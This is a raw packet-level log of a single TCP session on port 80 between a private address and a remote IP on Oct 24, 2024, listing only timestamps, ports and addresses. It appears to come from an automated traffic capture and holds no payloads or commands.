Oct 24, 2024 13:27:01.452214956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.452229977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.452249050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.452255964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.452282906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.452292919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.452322960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.452980042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453015089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453036070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453049898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453059912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453083038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453094006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453116894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453126907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453150988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453161955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453193903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453835964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453871012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453891039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453906059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453912973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453941107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453948975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.453975916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.453985929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454020977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454672098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454708099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454726934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454741001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454751968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454777002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454783916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454809904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454821110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454843998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.454852104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.454890013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.455522060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.455557108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.455579042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.455591917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.455601931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.455627918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.455634117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.455662966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.455671072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.455705881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456377983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456413984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456430912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456448078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456456900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456482887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456490993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456516981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456525087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456557035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.456574917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.456600904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.457205057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457241058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457258940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.457273960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457283974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.457309008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457319021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.457343102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457351923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.457376957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.457439899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.559824944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.559878111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.559940100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.559973955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560009956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560046911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560077906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560122013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560122013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560677052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560729980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560745955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560766935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560774088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560801983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560811996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560837030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.560847044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.560883999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561455011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561506987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561513901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561543941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561552048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561578989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561589956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561609030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561621904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561644077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561652899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561681986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.561690092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.561726093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562122107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562159061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562176943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562192917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562201977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562230110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562238932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562259912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562278032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562294006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.562303066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.562338114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563021898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563056946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563079119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563091993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563102007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563127041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563136101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563162088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563170910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563196898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563208103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563241959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563920975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563956022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563972950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.563990116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.563998938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564024925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564035892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564060926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564090014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564104080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564114094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564151049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564860106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564894915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564909935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564928055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564937115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564961910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.564970970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.564995050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565004110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565030098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565037966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565073013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565417051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565469980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565484047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565505028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565512896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565540075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565547943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565573931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.565584898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.565614939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566329002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566365957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566382885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566399097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566410065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566435099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566442013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566468954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566477060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566502094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.566509962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.566545963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567230940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567265987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567300081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567331076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567354918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567369938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567389011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567421913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567475080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567882061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567934036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.567934036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567967892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.567980051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568002939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568012953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568037987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568047047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568072081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568079948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568114996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568125010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568149090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568157911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568193913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568793058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568825960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568840981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568861008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568871021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568895102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568903923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568928003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568941116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568962097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.568969965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.568995953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569005966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569030046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569039106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569072962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569645882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569693089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569699049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569732904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569745064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569767952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569776058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569802046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569811106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569837093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569847107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569869995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569880009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569904089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.569911957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.569947004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570614100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570647001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570662975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570681095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570692062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570717096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570724010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570749998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570758104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570784092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570792913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570817947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570827961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570853949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.570862055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.570899010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571571112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571604967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571619987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571639061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571650028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571672916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571682930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571707964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571717978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571742058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571752071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571775913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.571784973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.571819067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572590113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572623968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572637081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572657108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572671890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572690964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572701931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572726965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572735071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572761059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572768927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572796106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572803974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572829962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.572840929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.572875977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573472023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573507071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573523045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573539019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573549032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573573112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573579073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573606014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573618889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573641062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573652983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573674917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573709011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.573710918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573739052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.573754072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574390888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574424982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574457884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574482918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574491978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574496984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574505091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574525118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574556112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574558020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574584007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574590921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574606895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574626923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.574635029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.574671984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575349092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575382948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575390100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575418949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575428009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575452089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575462103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575485945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575495958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575520992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575529099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575555086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.575562000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.575592995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576230049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576263905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576277018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576297998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576309919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.576330900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.576339006 CEST	49730	80	192.168.2.4	109.107.157.208
